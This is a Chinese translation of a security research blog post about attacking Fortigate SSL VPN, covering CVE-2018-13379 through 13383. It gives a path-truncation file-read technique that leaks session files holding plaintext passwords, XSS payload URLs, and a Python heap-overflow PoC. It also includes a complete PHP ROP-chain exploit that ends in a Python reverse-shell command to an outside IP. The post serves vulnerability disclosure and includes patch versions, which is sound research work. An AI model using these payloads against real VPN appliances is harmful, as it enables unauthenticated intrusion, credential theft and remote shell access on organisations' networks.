攻击SSL VPN - 第2部分:打破Fortigate SSL VPN

本文是翻译文章,原作者Meh Chang和Orange
原文地址:https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/

前言

作者:Meh Chang@mehqq_)和Orange Tsai@ orange_8361
上个月,我们谈到了Palo Alto Networks GlobalProtect RCE作为开胃菜。今天,这里有主菜!如果你不能去Black Hat或DEFCON参加我们的演讲,或者你对更多细节感兴趣,这里有适合你的幻灯片!

我们也将在以下会议上发表演讲,来找我们吧!

  • HITCON- 8月23日@台北(中国)
  • HITB GSEC - 8月29日30日@新加坡
  • RomHack - 9月28日@罗马
  • ​ 更多 …

开始吧!

故事始于去年8月,当时我们开始了一个关于SSL VPN的新研究项目。与点到点VPN(如IPSEC和PPTP)相比,SSL VPN更易于使用,并且可与任何网络环境兼容。因其便捷性,SSL VPN成为企业最流行的远程访问方式!

但是,如果这个可靠的设备不安全怎么办?SSL VPN是一项重要的企业资产,但却是公司的盲点。根据我们对世界500强的调查,前三大SSL VPN厂商占据了约75%的市场份额。因此SSL VPN的多样性很窄,一旦我们在主流的SSL VPN上发现高危漏洞,其影响就会很大。由于SSL VPN必须暴露在互联网环境中,因而没有什么能阻止我们的攻击。
在我们的研究开始时,我们对主流的SSL VPN供应商的CVE数量进行了一些调查:

看起来Fortinet和Pulse Secure是最安全的。真的吗?作为一个神话破坏者,我们接受了这一挑战并开始攻击Fortinet和Pulse Secure!这个故事是关于攻击Fortigate SSL VPN的。下一篇文章将是关于Pulse Secure的,那将是最精彩的!敬请关注!

Fortigate SSL VPN

Fortinet将其SSL VPN产品线称为Fortigate SSL VPN,这在终端用户和中型企业中很常见。互联网上有超过480,000台服务器,亚洲和欧洲尤为常见。我们可以通过URL识别它/remote/login。这是Fortigate的技术特征:

  • 一体化二进制文件

    我们从文件系统开始研究。我们试图列出/bin/目录下的二进制文件,发现它们全都是指向/bin/init的符号链接。就像这样:

    Fortigate将所有程序和配置编译成单个二进制文件,这使得init文件相当大。init文件包含数千个功能并且没有符号!它只包含SSL VPN的必要程序,这样的环境对黑客而言非常不方便。例如,里面甚至没有/bin/ls/bin/cat

  • Web守护程序

    Fortigate上运行了2个Web界面。一个用于管理界面,在443端口上,由/bin/httpsd程序处理。另一个是普通用户界面,默认在4433端口上,由/bin/sslvpnd程序处理。通常,管理页面限制从互联网上访问,因此我们只能访问用户界面。

通过我们的调查,我们发现Web服务器是根据2002年的apache修改而来的。显然,他们在2002年修改了apache并添加了自己的附加功能。我们可以对照apache的源代码以加速我们的分析。

在这两个Web服务中,他们还将自己的apache模块编译成二进制文件来处理每个URL路径。我们可以找到一个路由表并深入研究它们!

  • WebVPN

    WebVPN是一个方便的代理,它允许我们通过浏览器连接到所有服务。它支持许多协议,如HTTP,FTP,RDP。它还可以处理各种Web资源,例如WebSocket和Flash。为正确处理网站,它会解析HTML并为我们重写所有的URLs。这涉及繁重的字符串操作,且容易产生内存错误。

漏洞详情

我们发现了几个漏洞:

CVE-2018-13379:无需认证任意文件读取

在获取相应的语言文件时,它使用lang参数构建json文件路径:

snprintf(s, 0x40, "/migadmin/lang/%s.json", lang);

这里没有保护,但会自动附加文件扩展名。看起来我们只能读取json文件。但实际上我们可以滥用snprintf这个功能。根据手册,它最多将size-1写入到输出字符串。因此,我们只需要使其超过缓冲区大小,.json并将会被挤掉。然后我们就可以读任意文件。

CVE-2018-13380:无需认证XSS

以下是几个XSS点:

/remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1)%3C/script%3E
/remote/loginredir?redir=6a6176617363726970743a616c65727428646f63756d656e742e646f6d61696e29
/message?title=x&msg=%26%23<svg/onload=alert(1)>;

CVE-2018-13381:无需认证堆溢出

在编码HTML实体代码时,有两个阶段。服务器首先计算编码字符串所需的缓冲区长度,然后将其编码到缓冲区。在计算阶段,例如,<字符编码为 &#60;,占用5个字节。如果遇到任何以&#开头的字符,例如&#60;,服务器会认为这个token已经被编码了,并直接计算其长度。像这样:

c = token[idx];
if (c == '(' || c == ')' || c == '#' || c == '<' || c == '>')
    cnt += 5;
else if(c == '&' && html[idx+1] == '#')
    cnt += len(strchr(html[idx], ';')-idx);

然而,长度计算和编码过程之间将存在不一致,编码部分无法处理这种情况。

switch (c)
{
    case '<':
        memcpy(buf[counter], "&#60;", 5);
        counter += 4;
        break;
    case '>':
    // ...
    default:
        buf[counter] = c;
        break;
    counter++;
}

如果我们输入恶意字符串如&#<<<;<仍将编码成&#60;,所以编码结果应该是&#&#60;&#60;&#60;;!这比预期的6个字节长得多,从而导致堆溢出。
PoC:

import requests

data = {
    'title': 'x', 
    'msg': '&#' + '<'*(0x20000) + ';<', 
}
r = requests.post('https://sslvpn:4433/message', data=data)

CVE-2018-13382:magic后门

在登录页面中,我们找到了一个的特殊参数magic。一旦这个参数为某个特殊字符串,我们就可以修改任何用户的密码。

根据我们的调查,仍有大量的Fortigate SSL VPN缺少补丁。因此,考虑到其严重性,我们不会透露magic字符串。但是,CodeWhite的研究人员已经复现了这个漏洞。毫无疑问,其他攻击者很快就会利用此漏洞!请尽快更新您的Fortigate!

Critical vulns in #FortiOS reversed & exploited by our colleagues @niph_ and @ramoliks - patch your #FortiOS asap and see the #bh2019 talk of @orange_8361 and @mehqq_ for details (tnx guys for the teaser that got us started) pic.twitter.com/TLLEbXKnJ4

— Code White GmbH (@codewhitesec) 2019年7月2日

CVE-2018-13383:认证后堆溢出

这是WebVPN功能的漏洞。在解析HTML中的JavaScript时,它会尝试使用以下代码将内容复制到缓冲区中:

memcpy(buffer, js_buf, js_buf_len);

缓冲区大小固定为0x2000,但输入字符串是无限制的。因此,这里存在堆溢出。值得注意的是,此漏洞可以溢出Null字节,这在我们的利用中很有用。
为触发此溢出,我们需要将exploit放到HTTP服务器上,然后以普通用户权限登录SSL VPN代理访问我们的exploit为普通用户。

Exploitation

官方最初描述这没有RCE危害。实际上,这是一个误解。我们将向您展示如何在没有身份验证的情况下攻击用户登录界面。

CVE-2018-13381

我们的首先尝试利用pre-auth堆溢出漏洞。但是,此漏洞存在一个根本缺陷 - 它不能溢出Null字节。一般来说,这不是一个严重的问题。如今的堆利用技术应该能够克服这个问题。然而,我们在Fortigate上做堆风水简直是一场灾难。有以下几个障碍,使得堆不稳定,难以控制。

  • 单线程,单进程,单个分配器

    Web守护进程利用epoll()处理多个连接,没有多进程或多线程,主进程和库使用相同的堆,称为JeMalloc。这意味着,来自所有连接的所有操作的所有内存分配都在同一堆上。因此,这个堆一团乱。

  • 定期触发操作

    这会干扰堆,并且无法控制。我们无法精确地布置堆,因为它会被销毁。

  • Apache额外的内存管理

    直到连接结束内存才会被free()。我们无法在一个连接中布置堆。实际上,这可以有效地缓解堆漏洞,尤其是对于use-after-free漏洞。

  • JeMalloc

    JeMalloc隔离了元数据和用户数据,因此很难修改元数据进行堆管理。此外,它集中了小对象,这也限制了我们的利用。

我们被困在了这里,因此我们选择尝试另一种方式。如果有人成功利用了这一点,恳请教我们!

CVE-2018-13379 + CVE-2018-13383

这是pre-auth文件读取和post-auth堆溢出的组合漏洞。一个用于获取身份验证,一个用于获取shell。

  • 获得身份验证

    我们首先使用CVE-2018-13379来泄漏session文件。session文件包含一些有价值的信息,例如用户名和明文密码,这可以让我们轻松登录。

  • 获取shell

    登录后,我们通过SSL VPN代理访问我们恶意HTTP服务器上的exploit,然后触发堆溢出。

由于上面提到的问题,我们需要一个理想的目标来溢出。我们无法精确的控制堆,但我们可以找到一些经常出现的东西!它最好是很常见的,每次我们触发这个bug,我们都可以轻松地溢出它!然而,从这个庞大的程序中找到这样一个目标是一项艰苦的工作,所以我们陷入困境......之后我们开始fuzz这个服务,试图获得一些有用的东西。

我们遇到了一个有趣的崩溃点。令我们惊讶的是,我们几乎控制了程序计数器!

这是崩溃点,这就是我们为什么喜欢模糊测试!;)

Program received signal SIGSEGV, Segmentation fault.
  0x00007fb908d12a77 in SSL_do_handshake () from /fortidev4-x86_64/lib/libssl.so.1.1
  2: /x $rax = 0x41414141
  1: x/i $pc
  => 0x7fb908d12a77 <SSL_do_handshake+23>: callq *0x60(%rax)
  (gdb)

崩溃点发生在SSL_do_handshake()

int SSL_do_handshake(SSL *s)
    {
        // ...

        s->method->ssl_renegotiate_check(s, 0);

        if (SSL_in_init(s) || SSL_in_before(s)) {
            if ((s->mode & SSL_MODE_ASYNC) && ASYNC_get_current_job() == NULL) {
                struct ssl_async_args args;

                args.s = s;

                ret = ssl_start_async_job(s, &args, ssl_do_handshake_intern);
            } else {
                ret = s->handshake_func(s);
            }
        }
        return ret;
    }

我们覆盖了struct SSL函数表,所以当程序运行到s->method->ssl_renegotiate_check(s, 0);,它就崩溃了。

这实际上是我们理想的利用目标!我们可以很容易的触发struct SSL分配,并且大小接近我们的JaveScript缓冲区,因此在我们的缓冲区附近有一个常规偏移量!根据代码,我们可以看到ret = s->handshake_func(s);调用一个函数指针,这是控制程序流的完美选择。根据这一发现,我们的利用方法就很清晰了。

首先我们正常请求大量的SSL结构来进行堆喷射,然后再溢出SSL结构。

这里我们将php PoC放在HTTP服务器上:

<?php
      function p64($address) {
          $low = $address & 0xffffffff;
          $high = $address >> 32 & 0xffffffff;
          return pack("II", $low, $high);
      }
      $junk = 0x4141414141414141;
      $nop_func = 0x32FC078;

      $gadget  = p64($junk);
      $gadget .= p64($nop_func - 0x60);
      $gadget .= p64($junk);
      $gadget .= p64(0x110FA1A); // # start here # pop r13 ; pop r14 ; pop rbp ; ret ;
      $gadget .= p64($junk);
      $gadget .= p64($junk);
      $gadget .= p64(0x110fa15); // push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;
      $gadget .= p64(0x1bed1f6); // pop rax ; ret ;
      $gadget .= p64(0x58);
      $gadget .= p64(0x04410f6); // add rdi, rax ; mov eax, dword [rdi] ; ret  ;
      $gadget .= p64(0x1366639); // call system ;
      $gadget .= "python -c 'import socket,sys,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((sys.argv[1],12345));[os.dup2(s.fileno(),x) for x in range(3)];os.system(sys.argv[2]);' xx.xxx.xx.xx /bin/sh;";

      $p  = str_repeat('AAAAAAAA', 1024+512-4); // offset
      $p .= $gadget;
      $p .= str_repeat('A', 0x1000 - strlen($gadget));
      $p .= $gadget;
  ?>
  <a href="javascript:void(0);<?=$p;?>">xxx</a>

这个PoC分为三个部分。
1.伪造的SSL结构
SSL结构在我们的缓冲区有一个常规的偏移量,因此我们可以精确地伪造它。为了避免崩溃,我们设置method为包含void函数指针的位置。此时的参数是SSL结构本身s。但是,method前面只有8个字节长度。我们不能简单地在HTTP服务器中调用system("/bin/sh");,这里没有足够的空间来写反弹shell指令。由于这二进制文件非常巨大,很容易找到ROP gadgets。我们找到一个有用栈迁移gadget:

push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;

所以我们设置handshake_func为这个gadget,将rsp移动到我们的SSL结构,然后做进一步ROP攻击。
2.ROP链
这里的ROP链很简单。我们略微向前移动rdi,将有足够的空间执行反弹shell命令。
3.溢出字符串
最后,我们拼接溢出填充和exploit。一旦我们溢出SSL结构,我们就会得到一个shell。

我们的漏洞需要多次尝试,因为我们可能会溢出一些重要的东西并使程序在SSL_do_handshake之前崩溃。无论如何,由于Fortigate看门狗的存在,该漏洞仍然可以稳定利用。只需1~2分钟即可获得反弹shell。

时间线

  • 2018年12月11日向Fortinet报告
  • 2019年3月19日修复所有漏洞
  • 2019年5月24日发布所有资讯

修复

升级到FortiOS 5.4.11,5.6.9,6.0.5,6.2.0或以上版本。

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖